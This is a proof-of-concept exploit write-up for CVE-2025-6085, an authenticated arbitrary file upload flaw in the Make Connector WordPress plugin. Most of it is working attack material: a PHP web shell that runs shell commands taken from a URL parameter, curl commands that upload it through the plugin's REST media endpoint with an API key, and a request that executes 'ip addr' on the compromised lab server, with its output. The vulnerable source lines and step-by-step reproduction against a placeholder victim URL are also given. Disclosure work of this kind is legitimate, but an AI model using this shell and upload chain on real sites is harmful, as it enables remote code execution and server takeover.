Make Connector <= 1.5.10 - Authenticated (Admin+) Arbitrary File Upload

The Make Connector plugin does not sanitize the file types in its REST API media uploads, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server.

TL;DR Exploits

cat << 'EOF' > shello.php
<?php    
    // Silence is golden
    if (!empty($_GET['cmd'])) {
        echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
    }
?>
EOF

curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \
  -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \
  -F "[email protected]" \
  -F "title=Hacker World" \
  -F "description=A test file" \
  -F "caption=Hacker Caption" \

Leveraging the shell once it's in the uploads folder:

curl -k https://lab1.hacker/wp-content/uploads/2025/04/shello.php\?cmd\=ip%20addr         

<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 67461sec preferred_lft 67461sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86201sec preferred_lft 14201sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:bd:e1:95:26 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

Details

The /wp-content/integromat-connector/class/class-rest-request.php file's dispatch() function will call self::upload_media(); on line 24. This upload_media() function copies the uploaded file to a browsable directory copy( realpath( $_FILES['file']['tmp_name'] ), $media_file_source ); on line 74, prior to checking the allowed mime types, which it does on lines 90-95

Vulnerable snipped from class-rest-reques.php:

66	                if ( (int) $_FILES['file']['size'] === 0 ) {
67	                        Rest_Response::render_error( 500, 'The uploaded file exceeds the upload_max_filesize directive in php.ini.', 'rest_upload_unknown_error' );
68	                }
69	
70	                if ( (int) $_FILES['file']['error'] > 0 ) {
71	                        Rest_Response::render_error( 500, 'An error has occured when uploading file to the server.', 'rest_upload_unknown_error' );
72	                }
73	
74	                copy( realpath( $_FILES['file']['tmp_name'] ), $media_file_source );
75	
76	                $title       = isset( $_REQUEST['title'] ) ? sanitize_title( $_REQUEST['title'] ) : '';
77	                $description = isset( $_REQUEST['description'] ) ? sanitize_text_field( $_REQUEST['description'] ) : '';
78	                $caption     = isset( $_REQUEST['caption'] ) ? sanitize_text_field( $_REQUEST['caption'] ) : '';
79	                $alt_text    = isset( $_REQUEST['alt_text'] ) ? sanitize_text_field( $_REQUEST['alt_text'] ) : '';
80	                $post_id     = isset( $_REQUEST['post'] ) ? (int) $_REQUEST['post'] : '';
81	
82	                $upload_dir = wp_upload_dir();
83	                $filename   = basename( $media_file_source );
84	                if ( wp_mkdir_p( $upload_dir['path'] ) ) {
85	                        $file = $upload_dir['path'] . '/' . $filename;
86	                } else {
87	                        $file = $upload_dir['basedir'] . '/' . $filename;
88	                }
89	
90	                $wp_file_type  = wp_check_filetype( $filename, null );
91	                $allowed_types = get_allowed_mime_types();
92	
93	                if ( ! in_array( $wp_file_type['type'], $allowed_types ) ) {
94	                        Rest_Response::render_error( 500, 'Sorry, this file type is not permitted for security reasons.', 'rest_upload_unknown_error' );
95	                }

Manual Reproduction

Login to the admin panel and navigate to the Make plugin's settings, and copy the API key.
Make a dirty web shell, or bring your own if you'd like:

cat << 'EOF' > shello.php
<?php    
    // Silence is golden
    if (!empty($_GET['cmd'])) {
        echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
    }
?>
EOF

Execute the following curl command to hit the plugin's media REST endpoint.

curl -k -X POST \
  https://VICTIMURLHERE/wp-json/wp/v2/media \
  -H "IWC-API-KEY: cjusksft1dwcoq43lyy6a6lf9tb6qc63" \
  -F "[email protected]" \
  -F "title=Hacker World" \
  -F "description=A test file" \
  -F "caption=Hacker Caption" \
  -F "alt_text=Hacker Alt Text"

You will see a json response like below, but that's OK because our file already got moved :)

{
    "code": "rest_upload_unknown_error",
    "message": "Sorry, this file type is not permitted for security reasons.",
    "data": {
        "status": 500
    }
}

Naviate to the webshell located at https://lab1.hacker/wp-content/uploads/2025/04/shello.php?cmd=ip%20addr.

CVE-2025-6085

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